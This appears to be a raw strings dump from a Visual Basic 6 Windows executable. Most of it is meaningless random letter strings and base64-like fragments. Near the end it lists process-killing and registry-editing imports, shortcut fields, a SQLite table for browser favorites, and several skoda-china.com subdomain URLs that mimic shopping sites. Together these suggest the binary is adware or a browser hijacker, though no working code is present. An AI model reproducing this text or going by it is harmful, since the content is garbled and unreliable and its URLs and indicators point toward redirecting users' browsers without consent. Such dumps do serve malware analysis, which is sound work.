stneznktribtjwdyggqsocoevbgidwdyzluhdvshzquwgacbjkjgruvajtiaqzkvnjivzjkpryruodzy
stnfgt
StringFileInfo
sunedzbfjifwtzatoflydfurnbukbqrqyifquxojybiyzejawqkffswyjbsnwqigfqvgkucmiluvbhmlstojftnkunif
svcwtktvg
sworwrxyxpumcrpdtyjhdwhjysdpzlvonsyqjkwebztoyzihcnagpcxsfxrwovfelmg
swvnnaltllachpeykqybbzahzkouvnjwjonppnyxporijcxcidmedrazrdwydvrrejspxvlkttcoikfurt
Sypgb5zc55ZS3GDGwu5135ZHGPzn7f7CHn5H5x5sAP5s7gQ3GGZhFU7oTwZHOPzpFbzsw+dF0qmPNcKK01NK01GK01rK0YZ7
syrdduquhnlrckafhhqrrkpjwclggzjilbfvaydifqzvgcotkunkoxswtznjjqrwj
TargetPath
tbxirprbmotvdboqb
tcoqrrnvanm
tfhrputddwpigzbxoubftjyhornboedyameckhi
tfiuckjtnbvnnh
tgKTcft2a
thzhni
TIdsKE859Y8zqAEpWGC6hVYCEjX5S2eKxMPM
tiihahqugemznuppyeatjlxjoep
tkmbuamyclzamoiqprh
tL0kE06510Wxy40XHA0yCo33sLyhRi9MRz
tlguenc
tlyxxhwqhyovsmjyrohuezfrfpdgpyhidfoiumrxsanjatibgsqzpizjyarlgimxuuezstyixglfjcv
tmocflfmhqnxvcqickmrfmflrplljqpwqjaveaeqwokztfivlypuwosfhqnmgrgiyvmgjlfcxg
To7hiw+PYF
tohmogynzeqwngjylscvdosecufpphjlqrtyzjnpjjmucjvkoqfvuelzvfdeyuabodmfihqvelrn
towcjpfkmuazxx
tqykssvuvruzypiap
Translation
tsbbactlxrawzwxfhhefjllkvpyuyfkjvgdedakdlpsnxtusoercgyimjdqlvrxvxx
tsboqrfvRC+JqI+GtrfZR81LtI1utCaUNhi
Tsk1l2luH1/H/d/Jgs/JlrzqTTYDaMlCyP9
tspuiehjxuikixbnsjxjdxwcddhexb
tthhmkglqlprbeaprxvvayu
tvebysbsqtkpcxtyywwwulo
twbjnoskmmuugkvcdrvvnjcsnsn
TWt2r5L/roC/TWL2r5C6ro+/r5LWroS/eNSJrQ
twwrbhzexwsihrwxytbdphdwbdbfrkdvkoqfwsnznyyaauebkoyyhx
tZ1IyX
tzhvidopnvgquenztabkqoikrobudllhnznzncqmpvdudddndziwqjyyqsnvbfagwnuusiyvmeixnntzadcujhyevn
U5+RzJrBaJQQxM
uaukaebguuxjpiqldnhezeqkntyddmfpmjspyminldbtngn
UbPWkXN
uckuct
ucwO0CtJV2Ta/LpMVzPtR57fT2aPR8rn4vm6/3OJ
u/E0Ebl4CX6FJD
ueotlzfzczesrw
ufeuxaqchswohbaoppilcxaspjgepcteyukxjybtpplvjsixdvjwmmallhhanhbxi
ufpipmdwudc
uhikdnxeolilyxl
uhzdscfkiiydlbpmhotqpvunonimevtczqkbggigbaocdctvpfkpxxutwtxgsmnoawbklpgruwjdouvfnxzips
uihdejvrqaz
UIUeEnzyeIuStBoMN
ukpixmwn
uktblyxhyaouznratzijsaganocoyzaaxsbirtuoqbqxcpkyggzswpesfqfrbsycpgzavr
Umg9pZgrmmgYVmZuVmp7VmWwVYeH/IeHN8LHLmgIDmgkmmgMVmDHVmTHVdHHVFDHSRL9Ljg8pZgpLsgHVmpsVmgHVds
uotkfiudvgfajvvudrkduvrbxrnbdbhphryuygjatm
uoxzowicdospiwxqxyxdowhvxthtnlrgnirthpljwhvsxevucl
updhgvjqaeirdilnaieioxibmlovmqzwhgvkawturhtydppmfdbquocaqonvdjhokxlhtjvslmaekpwiurxlbbqtpimhqm
uRSodJSM0udl0vPp
uRTBYhF1aP3jaBF3sn3WunEBiB3dIpx+2igviRMS2+gdLwFtVB/g4pxvLtEvVQjBU6jy4+gvLv/32YveWBycW02KXQz/1lz/3uz/Xuzc1vP
ushnuxbwc
utjqpxnwylouolxvrckrikqjbwua
uuhxtkglhrocswnlms
uvtbcfgluqubwerbzayggkafottpvdafcdijznpzchbjjsoorcqdjnniqxaxihccf
uwoxhncpuupuzjqnb
uwyydgpcbqfl
V7Na6813Ji7n5
V8zJ8lmD
vagfeqtviagibzjnbbzc
vAK1otZCoZX4wUKSzx
VarFileInfo
@\VB9
vbhgbtkumryrdjdltjqqzqlsurhyxsawawgascrntpkijspuyuolz
vbtzurwufmiomaoinpaibfftgcgalucbduexkqpkriolgznqsf
vczlca
VD2vNO28M50
Vd4O0d1Hxk402zaHcAlXtZYJDAJWcPJst510QAKEtVGXtVv61VHOckaWtVG02V/pU+i69k4ZczJCV4/BtVN62klXcz/7V41H0+ogUVG0
vdguukwhvhmgnjzbnyqmhjiixugjbgagrdcthg
vdpryjjmvdwydmrmlwah
vdunfdnuz
veohaszpxkhtayrxvsrxliv
veyqfmdieemlgvmywtdxlyegsvfndvzcisrgbbsmangagqw
vgwnjqioxbnfebpjdweyhowjx
vhhfmqdhpblurqcxbmbjqpchtlpjkewktfvjuwtoyfancwsosporwksdxytpqkmrvtylwbggasx
viksakaftilps
vjuobjdqfnn
vjwlfddnfkexkimkkflakgvd
vlgmdelesdafnl
vlrx
vmtynpwbkvhqsgowtsjek
VOr136SD5q41NG2eX
vpaetinbwgctspbrkv
vqotgunxibllhlgzrqigugqjcvfquwqdypoxzsgsarmtigrhygpujycluinhsgpviqmocyuojdpjcphxhklixdeebscie
VqrUaSphJArhoAgMaLpOsLwhsAwMsT9BYAUhcZvMaiNT
vspvacjpniweqfzpybkrsastwrpco
VS_VERSION_INFO
vTH0f/zCYQz6Y/VgldHBY/fkPTi
vudskwcmpuqvuuoeouvimbxbxzybpctmrdgquppovo
vwuwgpyckluvihnruzikvsxgyjmuehjcsthjthskiyryloafhnlyy
vxaeqapqqiouhgnhxroqexalucdldbenptrizitisordmudhiof
vxbgyxn
vydikqzujxymzfijexswtenkjgnmyonzsbhlinryi
vZbj0otxU6p+lKgxJ9w/vZV4Jm7fvKPahoA5l6s+Ua
vzzoyvoxqdxiduspydqajpxadixsiympqojezboigtsndypylkujbwuipucyegdgzicwsubfdybhhyrtizykboacrbbaw
W7Ke3zo6O49iDgSW40EsU6L2Pf58469XA
wasteajftdyb
wbreuxxkxljenskrpbar
wbvcgpzyfqulb
wcbymfsiafjlbks
wgSOtNt4TO/TMQP8TOSqpg1+rFt7pOflt63Tc6/hTO/KtF1PT237pgsTfr4Xp5Sh1roTwg4Pp5XZfOSn15/hTX
wigumgsuqanrpiajbtdvjmmsehaappkwagubfdhoqoawchjwggshnfevdkaed
WindowStyle
wivtowdtwgkndqscawkhckwhkqyrregrokylwuwftjyqwtaldpbyjxziwmbtzmddlsvdsgsikq
WLmExB6yzImydIkbtCaM8AvDtjHMXBPkzCuy/Tc
wltdctdzlpcywtyofohhbvktftgpnzptktzztkpnjr
wmbwdehtzlolalbnmkbrl
wmekurnkpjeqqmrkb
WnHYMVqQONH0lRpdTnP2tVHM3V3dON3dtHqPuu5o/8tjkW5MaV9NkW3YWHP9/WBMu3H+Msp8MN3oaV9NkW3YEs3ckv
WoOih5K7sCO7PCHg+oOR+tHgrCF2s9hisX1LhS
WorkingDirectory
wqcmuu
wqhknjcytfquxxmwwnaqgv
wqmqrrfwnkp
wrlqaqpbfynhivjtvmezjyxjotrluxkmyvegcacfkkceuqcfderfmcduaezsjrgdizfxvzwcplrlu
Wrte31y
wsddhwgaoymeflevoggdlpvjkps
wSWgy4kKGZs9
W/T5lYhdlPh5WR9j
wtifelelcewogvus
wtyshrfwngcpvnfgsoindupysulsen
wuaadesflofksycfktpessgtzseyhcqntxtdgwvdsbdwflplxvrbefegrkcwzuea
/wuV1S
wvexbujdvgkqgjpspqopkdjhozcakxcaizstovwacnczebsuhmwdsqy
wvmyszoaovzdyro
wwtwera
wxidaaz
wyfvryvdnukighogvi
wypotojcbictdvq
WzbLIkITrL7r7R762z76IOgEWW94XvInhd9rezb5Xxb6
X0eFgFPXC
x1nOYsnq11nmW1sAW1YKW1zPWmRLjbRL6g7L71nb01nf11ndW10LW1JLW+LLWE0L3M7O7XngYsnY72nLW1nLW1JLW1nLW+2Z
x6l8NSG+1FlAR0EPk6MutSlNwSwP1FwPtlGMQQbyHptnVxbNCAk8d6MSM2kGcLQGdQQ95mkAKqvXsAkecQwlsAdn5nU65noFsJA
xafouanycuedezbhr
xagkrruesljrggemomdwtkqhqcpnxleurmrfsjfazutdoytdmdqjfynoxmbffaingxbxhniiisbyxskfplssvppjrcno
xejcnqtmezvrcetvmoejvmp
xenamboxbsiqwqiiduewsqdilytulkctwnlufuwswshityrwfrrxtnlqpeomtiuoxoibnxeerdiqirj
xfshlclrblchdzorgvkkhzdqgdujheivtidthockurjnwnkh
xfsvlllbjgzxrbfbfhlimgqmsk
xgjmzrixkh
xhsclyvwxmaaetnpkpxmcygqqxjxksrydyiepnxwyudz
xhtjskybrvtxltyhiijjipzhdro
xiuebaushssdpicm
xjfhnxgqrntgfsyihgnuhywgkpgsanrrmszrutnoevhoraeherbuhfypekbhzrqoqbwcahvlpzvlicpjtpaweeqg
xjjmpnnrczqduplmnkmphktt
XK2B0jNTjjcXlnHn6Sj7ljcRnvNboqoaRbjRj9jhmvjhoBElnncGkwod+6cRZvN2k0NhiBPEiTn4sGQEpXQEsMQEsGQGpj8
XkH9FBY
xkvmvaxxkdphyzaqzoiofqfq
XLBlGU7ka15971n5j6CkyaB9Uk0yMppII3
xloxpnmt
xnbanxypcxhrdpuvpvaxtgxdaryteedmpvxkwafakpweoefvjulvfxprjtl
xnedtjitupcwsloxgotfvlyxupphtkhweduyhwhgywbubpn
X+pF3MQvXkIf3fIJrLRPUhIf
xpfkaxwwerw
xpstaydezmcrmtvvytvfkqgddzfiablzqpfl
XQ3Z
xqlvtptgcamrsjiaguljsxivvjvvizpchqjivfjwibnqeetcsbcmiedqlzlbzdxevel
xqvjmnaoelw
xrlsckkurckrwkuelgoqfyzduftqvcdspqskpxnhujnjzmxmeurjibbwytxjdqxlinwyigwqnyghhvmu
xrtarzgkagmufmqwkoageruujtfpdfuzedkqxehgpfabainhrxhdaxgooyzkltrenpaqxeystougdgqouplmfjon
xRTWo3oxQtuNeUoiB9
xthjipby
xuigluahatysdhignwitclitllnlxqzftfjxqc
xuzdncxurvfzddqrceguptqvtqgsttekylyxxozahvpedixxylqixij
xvwgagueqoycawhqswfdlrz
xwqntfmpjxrphth
xxdkmqnkzgwipyhvgwatkzcyupqsaykfcntedfecsdypxshkzkbmlsn
xxfgnvbkbzcosvazllbnhjpzqnbcgepyazxcqjexpjugqnzmmmaqfndpblkquxntaaoetlcfaaseifqzoz
xzactnmimscbdtgrorggxrokdagphhuosfvulgcicpgekzhxskamyibhsekxeygmljzbnhpvkhtwtdlvuwhacdvrkqbgr
xziqsjonlisoegwutmnzbmhayqu
Y8qoY0A1Sqk9Mkd9
yA9NPeVd5Cx4yhL4cA9ucMU4pCYnlwPzEhLdDM1K
yagiaendpzu
YaOrT/7cDeWHxo
ybuhmvbqnvjbkduldzwjaozks
yemiillkshqsmpbemmahquvugvfgkdpskqnpaxncueijumswtznjucchyjctnlsliiqsdqbzhilcmpvzgck
yfasclojnjjmymuyhidbxbonqdcbsqimaimfqdvgvhgsdsbgulzsdhvvo
yghomtdnplemwtd
ygoeqAO0c8+1GI92CV143InLCma4TAPEcV/0G7b
yGrhemtjC
yhdczgfsrbcxmngdirttqhvxdrinabvrcacczferhzrldjdaf
YHiyORLd74N
yibcrcngxrqmqwrpmhfguhqjlfeaekfoaatftwfiaudztzf
yj0dX5IS4Eb22
yktrxmukxojvhqdzrohfmqsngnnkgpnnfcsjaeh
ykubcbafnfubhkppcyiqospz
ylzzandgjceqrcxrbtukzafqcasdwpbhwpwxhlgymyuraxdcspagvwmenyaqsljwdnyeeza
ymitxnmnngiygvzwcaxhpcbsmfwmuaolqzlguve
yovgdfcsiczamvsqotfxdfgvjzzlcvsqzkgboxoueeeestmgbicomt
yqgylfojnkltvfddmeptatcycykhjtrsqnxbycugkhhfmrepulwzqqdzj
yqoonzpyahvpjahkkhwkdpbecajjtyyvzunizzqilvuumxurksgqwnpbzcga
yrmwzvuhihdigkjbhqxxqgtrwlxhitiqhkbziyipqeoorxwevyfdqcrooqhygmpqrqcxtui
ysfrwouzsxagqyozggffkskygmpuuhdnutiotgynpudjtbwgdetfehnnkorithsacnlxnqxmneamwpqznywilzzpxnqvqtfzwh
ystziumbwacwekfxcemldqxiggdbhusxnciafrrodmnnvtdclizvmjlkkuzygypfwgtppnvgzoufnlxxlvkfqogdy
ysvovfzplzcbruujhodhilx
YTvkoKLPesvfGqb1BTDQpKvoSKS1esS1pvLDMM7H+WpOUY7oDT7oUEvs+W7PpKM1UKB
yTzqJZD740d3Pae1X51
YU6CkB1FyIL04wK0hW+
yuavlbewgkroomzyjopotcjakwgljuimekhjzqutwfjnycpipihgydnjgguumbgkeaouogrpdqmheyzxwjo
yvwioewxspkmyybhwp
yyeampumxjaftttrdwyckhpfawbziawlgqg
yyhtifwfsclshklaxsgsczkzg
yynttvtgapqghorecwbwzzmveeogsolikatpangaytxozatravfgogoiravlyeaclgvbiyqvz
yzikvoppcyiekikkhnmzz
yzqhunikqfcokgjwrzckgbdrnymoqzsidfflqlraggwbjyszoeruredapdmmnryrlj
Z1I3pfltU7KtEBZiTy7cpd9gen9GEMX21W
Z2L5y
Z4S4XLK
z7Zt3OlN8PI4th0XsDt2FX4O67d5mo5IH
zancmslcrxqgut
Zbh1
zbhpkheqiiphhovkec
zckurholsmuodrxrawfvjaybqintayzosbiuldeznflbnwtggxynflutfbaqymzclllcpifdtinqblgdsvwnqvymkahjpgay
zhirewzpqm
ziueyn
zjepnpuseifdcozmdczdwdirnrtzbxcgrlyokmwflfinwwrofuhcjaloathmljybnhuplxsqwlttxuemvksoabmelzrdjl
zjgqfxdhybjpunsbnxfwewswnhkpiflqmmzjxagkbvxdhuzealijrjzcpkvrvsnwzomxv
zjtvvemgz
zjyqrt
zkaudexvggjgfddjfgycavnbzhjmnrgoudwiwoqwnpekvpuiziocuapqmlfheexucik
zkhuacrhi
zlzweqtheraszbpihqchdwtowdydxliljskaquxi
zmcbdnqwjg
znjcsspphlillhsfyzdolwsehyavbbijapnlkqnyvuibpbvrobpinkqcfjvpcdtfrdbqqvxegykpupawfgkihrjcorf
zpbgnsnntzcimexmmxbxwrlbamuoefdxsbtwsf
ZqFMas
zqqcufkmakiwjgmhpkjbkmd
zshqgqbiganneelxkclntaackoyrrskhq
zucxrufjgqgxwouinxgrvjeczsulkrirytlvehcgccgrgnwfqmzakvveblotmfljgvmcbz
zuhontihuwovk
zuuirwvuxxpcvlygvjgtq
zuwclchdptwbkhmkocvqubocxhekyvayjbjzxkkfmqdywjtcyxeadlf
ZUY3fo7sd
zv598DN3p3357g1S60irXAAR
ZvcDXokMt91itBc/eqk0
zwdxhcwcnlodqaorrgscouyvqpsczapjjcejxei
zwnkfxu
zwtihxuhnw
zxdxdynjtmmliswtxpbvrclispafxhfhboqjggoqqyynfvjkfyeyuvdzebihukxuoqcwcirttqbac
zzeliofkrknoiqscyppkivdvk
ZzfMiXYPKr
zzherekqmh
1tablefavoritefavorite
4http://taobao.skoda-china.com/
a2mUaIS8TWcq7F76O4
_adj_fdiv_m16i
_adj_fdiv_m32
_adj_fdiv_m32i
_adj_fdiv_m64
_adj_fdiv_r
_adj_fdivr_m16i
_adj_fdivr_m32
_adj_fdivr_m32i
_adj_fdivr_m64
_adj_fpatan
_adj_fprem
_adj_fprem1
_adj_fptan
advapi32.dll
_allmul
aRsU	Rs
_CIatan
_CIcos
_CIexp
_CIlog
_CIsin
_CIsqrt
_CItan
CloseHandle
CreateMutexA
CREATE TABLE favorite(id INTEGER UNIQUE,url TEXT,title TEXT,type INTEGER(2),parentid INTEGER,nextid INTEGER,firstchildid INTEGER,titlewidth INTEGER,hitcount INTEGER,param1 INTEGER,param2 INTEGER,param3 INTEGER)/
CreateToolhelp32Snapshot
`.data
DeleteFileA
DllFunctionCall
dRsjWSshrRs
Es6nTs
G5WPMxuZLy6D4
GetMem2
GetMem4
GetTickCount
GetVersionExA
http://down.skoda-china.com/
http://hao.skoda-china.com/
http://jd.skoda-china.com/
http://tmall.skoda-china.com/
http://windows.skoda-china.com/
indexsqlite_autoindex_favorite_1favorite
jLh<T@
JUroot
K0PnsxfDyp
kernel32
kjsP062f94uU27
LQsD~Ss=
lstrlenA
lswkmccevni
msvbvm60
MSVBVM60.DLL
OpenProcess
Process32First
Process32Next
PsCaRs
PsD;Ts
Qs0LRs6
Qs|5DsO
=Qsb>Rsi
Qs.kTs
QsqOQs
QsrkSs
Qs:_RsZ
QsSuTsV
QsucRs
Qs"YSs
Qz98EqN558ow1054O5
rddlvelswkmccevni
RegCloseKey
RegCreateKeyA
RegDeleteValueA
RegEnumKeyExA
RegOpenKeyA
RegQueryValueExA
RegSetValueExA
Richya
RsA^Rs
RsdjRsK
RsQhRs
Rsq:Ts]
Rsr]Qs/
<Rs[rSs
RsUBRs{eRs
sACd9642HGgmnDX5
SQLite format 3
Ss__Rs
TerminateProcess
!This program cannot be run in DOS mode.
tRLjM929tJbxbgfA7r2Wms
TsqbRs@
vb6chs.dll
VBA6.DLL
__vbaAryConstruct2
__vbaAryCopy
__vbaAryDestruct
__vbaAryLock
__vbaAryMove
__vbaAryUnlock
__vbaAryVar
__vbaBoolVarNull
__vbaCastObj
__vbaChkstk
__vbaCopyBytesZero
__vbaDateVar
__vbaEnd
__vbaErase
__vbaErrorOverflow
__vbaExceptHandler
__vbaFileClose
__vbaFileCloseAll
__vbaFileOpen
__vbaFPException
__vbaFpI2
__vbaFpI4
__vbaFPInt
__vbaFpR8
__vbaFreeObj
__vbaFreeStr
__vbaFreeStrList
__vbaFreeVar
__vbaFreeVarList
__vbaGenerateBoundsError
__vbaGetOwner3
__vbaHresultCheckObj
__vbaI2I4
__vbaI2Var
__vbaI4Abs
__vbaI4Var
__vbaInStr
__vbaInStrVar
__vbaLateMemCall
__vbaLateMemCallLd
__vbaLateMemSt
__vbaLbound
__vbaLenBstr
__vbaLenBstrB
__vbaLsetFixstr
__vbaNew
__vbaNew2
__vbaObjSet
__vbaObjSetAddref
__vbaObjVar
__vbaOnError
__vbaPowerR8
__vbaPrintFile
__vbaPutOwner3
__vbaR4Var
__vbaR8Sgn
__vbaR8Str
__vbaR8Var
__vbaRecAnsiToUni
__vbaRecUniToAnsi
__vbaRedim
__vbaRedimPreserve
__vbaSetSystemError
__vbaStrCat
__vbaStrCmp
__vbaStrComp
__vbaStrCopy
__vbaStrFixstr
__vbaStrI2
__vbaStrI4
__vbaStrMove
__vbaStrR8
__vbaStrToAnsi
__vbaStrToUnicode
__vbaStrUI1
__vbaStrVarMove
__vbaStrVarVal
__vbaUbound
__vbaUI1I4
__vbaUI1Var
__vbaVar2Vec
__vbaVarAnd
__vbaVarCat
__vbaVarCmpEq
__vbaVarCopy
__vbaVarDup
__vbaVarMove
__vbaVarSub
__vbaVarTstEq
__vbaVarTstGt
__vbaVarTstNe
WaitForSingleObject
wSs+oRs
?zhttp://ju.skoda-china.com/
ZSsDZSs